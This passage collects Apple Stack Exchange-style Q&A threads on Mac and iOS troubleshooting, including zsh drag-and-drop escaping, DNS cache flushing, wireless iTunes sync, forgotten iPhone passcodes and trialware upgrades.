can have a separate backup way, check google), or with important
docs. Media players usually don't include tracks/videos as well.
Some data that is synced with iCloud. For example, if you have iCloud Photo Library with "Optimize storage" enabled, iTunes backup
will include only thumbnails of photos if full-size version is stored
on the cloud.
Emails.
App cache (most of the "Other" data).

Should be all if not mistaking.


How can I export my Comcast address book to my iPad? I have tried many systems to export my comcast address book to the Ipad without success. The sync worked for my files but not the contacts.  I used carbonites "sync and save" and also tried manually joining the 2 devices.  I am one frustrated old lady.

Follow this guide to export your contacts from Comcast in the vCard format (VCF): http://www.watchingthenet.com/export-address-book-contacts-from-comcast-webmail.html

Then, email the vCard file to yourself. Open that email on your iPad and download the attachment. Now you will have your Comcast contacts on your iPad.


How to cancel a season pass in itunes I have moved overseas and need to change my apple ID country.  How can I cancel passes I still have open?

Think twice before you do this.

All your purchases, music, movies, TV shows, etc, will disappear from your purchases.

I did that when moving from the UK to Australia. Now I'm trying to go back to the UK store and its also near impossible due to another subscription.


Experience with iphonejailbreakunlock.com My sisters iPhone needs to get unlocked. A previous topic didn't help me out, despite the great answers and suggestions. So a colleague of me advised I should buy the
iphonejailbreakunlock.com.
It's a $27,99 software bundle which claims to be able to unlock any baseband on any device on any cellular network with a 100% money back guarantee... If you ask me, it's a bit to good to be true.

So, is there anyone with experience concerning this software (or any other paying service to get your iPhone unlocked)?

I wouldn't trust some website to unlock my phone.

Look at your previous question, somebody updated its answer, there's now a (somehow complicated) way to unlock any iPhone (if it's jailbroken). I would advise to try that instead of paying (those kind of website really look like scam).


Dragging and dropping a file onto a Terminal window doesn’t escape the path under zsh 5.2 Under OS X you can drag and drop a file from the Finder (or anywhere else) onto a Terminal window and the file’s path will be inserted as if you had typed it in. Recently, filenames with spaces have stopped being handled correctly: if the file path contained spaces before, the Terminal would get a version enclosed in double quotes or else with each space preceded by a backslash. Now the entire file path is just dumped in, and if it contains any spaces then I have to go back and escape them myself.

I have played around with the “shells open with” setting and it seems that the correct escaping happens when the shell is /bin/bash (GNU bash 3.2.57(1)-release) or /bin/zsh (zsh 5.0.8) but not when the shell is my manually-installed /usr/local/bin/zsh (zsh 5.2). I’m on OS X 10.11.2.

Was there a change in zsh that could have messed up dragging and dropping in Terminal? Or is Terminal itself using some kind of whitelist of shells that doesn’t include my zsh?

Edit: I installed zsh 5.0.8 at /usr/local/bin/zsh and filenames are escaped properly for that shell. It seems that some change to zsh between versions 5.0.8 and 5.2 made this stop working.

This behavior seems to be caused by zsh’s bracketed paste feature, which is on by default as of version 5.1. I found that if I added

unset zle_bracketed_paste

to my zshrc then dropping files onto Terminal works correctly with zsh 5.2.

(This blog post mentions bracketed-paste-magic, which seems like it could be used to support dropping files without turning off the entire bracketed paste feature. I think you would need to write code to make that happen, though; simply turning on bracketed-paste-magic didn’t fix my problem.)


Use an iPhone 6 as a monitor for a Raspberry Pi via USB I recently bought a Raspberry Pi 3 B+ but don't have a monitor to go with it.
I know i can use my iPhone as a monitor with VNC Viewer but i don't really want to use that. Is it possible to use an iPhone as a monitor for a RPi via USB (USB-A to Lightning) ? Thank you.

Congratulations on the Pi - they’re lots of fun.
iPhone hardware doesn’t have a video in through the lightning connector, so you’d need a different option even if the Pi had drivers to send data out over USB.
You’ll want a driver board and touch or no-touch display like these for the most economical solution if you don’t use HDMI or more traditional video out.

https://www.raspberrypi.org/products/raspberry-pi-touch-display/
https://www.adafruit.com/product/2718
https://www.adafruit.com/product/1933


Macbook is lagging and freezing when connected to WiFi Everything was working fine and suddenly I am facing my MacBook is lagging and apps keep on bouncing in the dock when I try to open them.

I tried resetting SMC, NVRAM/PRAM but the problem still exists. I tried restarting shut it down for sometimes but no luck.

I turned off WiFi and everything was working fine, no lag and no freeze but as I turned WiFi on, it started lagging again.

Any ideas what's causing this issue?

I figured out the problem was with my network cache. None of the online help worked for me.

The problem was occurring only for my home WiFi. I connect with the VPN and noticed everything was working smoothly as earlier.

I cleared my DNS cache, and reset the network configurations. I deleted the directory /Library/Preferences/SystemConfiguration/ and run the commands to flush the DNS cache

$ sudo dscacheutil -flushcache
$ sudo killall -HUP mDNSResponder
$ sudo killall -HUP mDNSResponder;sudo killall mDNSResponderHelper;sudo dscacheutil -flushcache

Make sure to take the backup of the SystemConfiguration just incase. Your system can generate the files later.

Hopefully, this will help anyone else who seems to be having freezing issues when connected to the internet.


Add a button in the Finder toolbar How can I add a button in the Finder toolbar? I don't use the dropdown menu. For example, I want to carry out the first (only the button), not the second (dropdown list menu).

Right click > customize toolbar.

Then drag in or out the buttons you want.


Can I update iOS on a locked phone? Tim Cook's open letter about the FBI's attempts to access a locked iPhone 5c have me wondering a fairly simple question that I haven't found an answer for:

Assumptions:

I have an encrypted iPhone
It is set to wipe after 10 failed passcode attempts
It is currently locked
I only use Apple-approved methods

Question:

Can I update iOS on the device without unlocking it and without losing/wiping  the data?

Update:

As an aside to the actual question, I see that the FBI is not trying to do what I'm asking. They are asking for a version of iOS that they would load directly into RAM and run from RAM without making any modifications to either the OS partition or the user partition.

You cannot update iOS on a locked device. When you try to update via iTunes(which is the only possible in this situation), it will ask you to unlock the iPhone. It is simply not possible to update or restore a locked iPhone or any iOS device.


iTunes keeps losing iPhone wireless sync I'm running iTunes 11 on my Mac with an old iPod touch (iOS 5) serving as a jukebox and an iPhone 4 (iOS 6.1) as my main device.  Both are set up for wireless synching.

When I start iTunes, it finds the iPod and synchs with it wirelessly without trouble, but it doesn't find the iPhone, forcing me to connect it to synch with the dock cable.

If I disable wireless synching for the iPhone in iTunes, synch, re-enable wireless synching and synch again, wireless synching returns and works again.

Until such time as I quit iTunes and restart it.

Why does this keep happening?  It can't be a network/firewall problem, because the iPod keeps on synching with the same machine through the same network.  Needless to say I'm finding this pretty frustrating, what's the point of wireless synch if you keep having to re-enable it with the dock cable every time you start iTunes?

I've been investigating this problem for a number of years now and I've concluded the following:

Most home wireless/wired routers do not support Multicast-DNS forwarding between wireless and wired network segments.
If both your server (iTunes) device and your client (iPhone/iPad,etc.) are on the same segment (i.e. wireless), then iTunes wireless sync should be more or less stable.
If your server and clients are on different network segments (i.e wireless and wired), you will have mixed success with running a stable wireless sync.

My solution was to buy an enterprise firewall (FortiGate) and create one virtual layer-two segment, encompassing all the wireless and wired interfaces on my home network.

This has stabilised wireless sync.


MIssing setting to go back to traditional mouse scroll With OSX Lion, scroll directions have been reversed and I'm looking to get back to the old behavior. On my laptop there is a setting in System Preferences under Mouse to get it back to the way it was.

On my desktop this setting is missing!

Is there another way I can get it so that the scrolling is back to the way it was on all computers pre-Lion?

Mouse:

System Preferences +> Mouse =>
Uncheck “Move content in the direction of finger movement when scrolling or navigating”

Trackpad:

System Preferences => Trackpad => Scroll & Zoom.
Uncheck “Scroll direction: natural”

 It seems depending on your hardware, the Preferences Panel changes. The magic-mouse has different settings then a normal mouse. This is for the settings panel with the mighty-mouse. Your mileage may vary.


Helvetica font rendering issue on MacBook Leopard So I have just re-installed Leopard on my MacBook and recovered from my Time Machine only to find I have font rendering issues with the Helvetica font:

This happens in browser or in apps like Mail. Can anybody offer a solution?

You may have a problem with your font caches. Download a copy of the free Onyx for Leopard, and execute a maintenance/cleaning task for Fonts:

It is recommended that you restart your computer after that. Take the time to see the other maintenance/cleaning options around. It's good to use Onyx every now and then to start from scratch. I use Cocktail which is essentially the same (but paid). I use it probably 4 times a year, but it helps keeping things clean.

Mac OS X doesn't really need these utilities to work, because it does have its own cleaning scripts and jobs, but after so many years of OS X experience, I've noted that some things can escape (or get corrupted) and these small utilities (either one) will save you some time.


iPhone SE: forgotten passcode I’ve recently changed the password on my iPhone SE (running iOS 10.x?) and now I’ve forgotten it. I was able to use my iPhone for a few days from TouchID but after the iPhone restarted today, I can’t get into it. It's a 4 digit passcode.

I still remember my iCloud password. But the phone is not currently configured to back up to iCloud.

Would I be able to recover the Messages if I take my iPhone to an Apple Store? I don't have any trouble proving the iPhone and its data belong to me (I purchased the iPhone with my credit card, signed into my Apple ID and iCloud accounts). But my understanding is that they can't do anything either even if they want to.

Is there any way I can get back into my iPhone? Everything else can be erased, but I just really need access to my messages. For example, would I be able to jailbreak it given that it’s running a pretty old version of iOS?

Your question is old but still relevant. Sorry I didn't see it soon enough.

This is an important feature in iOS and has caused a tremendous stir among privacy advocates and law enforcement. Just do a search for "graykey device"

For all intents and purposes your iPhone is locked and will stay that way. Depending on the iOS version you have installed it may or may not be able to be "hacked" using a zero day exploit. This isn't realistic to the 99.999% of us out there who have forgotten some old pin lock.

You can use your iCloud account associated with the device, and IF you can see it with "find my iPhone/ iPad" you can initiate an erase command.

If you have synced with iTunes at anytime in the device's history, you can put it into DFU mode and restore that way.

The data is gone forever either way

I'm sorry but I see this occasionally, especially with senior citizens who walked out of the cell phone store with a shiny new iPhone, and haven't kept up their backups, never synced to a computer, and forgotten their Email account, email account password, itunes account, icloud account and the email account it's associated with... they lose all of those grandkid pics and videos.

It's the sad price honest people pay for security and privacy


history of version / price changes for itunes apps I'm looking to get "app activity" type information from pages like these. http://appshopper.com/social-networking/tweetee

only that I want to be able to get such information via "Appid" that apple used for each app on the appstore. anyone have any ideas on how I might do that?

AppShopper does this.  I don't know the answer but you could ask them if there's a way!


Upgrading for free Apple trialware from third party distributors? I upgraded to Maverics, then I read than older trialware of iWork, Aperture and possible FCP and Logic Pro are being upgraded for free to their latest versions by Apple on the App Store desktop application. All trial versions with the exception of FCP were removed from the Apple's site, but third party distributors could have those older versions still available for download.

The word free add some negative connotation to the question, like if one could be trying to steal software from Apple, but if the price tag were someting diferent from FREE, I think there would not be any problem upgrading Apple software downloaded from third party software distributors.

Would there be any legal issues installing and upgrading that trialware to the full free version in that way?

As MacTrast discovered, it's not a bug, Apple is intentionally upgrading older Aperture, iWork and iLife versions (paid, trial, pirated or otherwise).

  [However,] it’s no coincidence that Apple’s support site doesn’t have downloads for the new Aperture, iWork, and iLife updates. They aren’t in our Software Update system either – and there’s a good reason for that. With Mavericks, we have changed the way we distribute updates for legacy versions of our apps

So "legally", downloading the trials from another site just to get the free upgrade is still pirating software you're not entitled to. Apple is just taking the stance that:

  We like to believe that our users are honest, even if that belief is in vain.

Also, the Aperture trail page does specifically state that you need to uninstall the trial before purchasing it from the Mac App Store.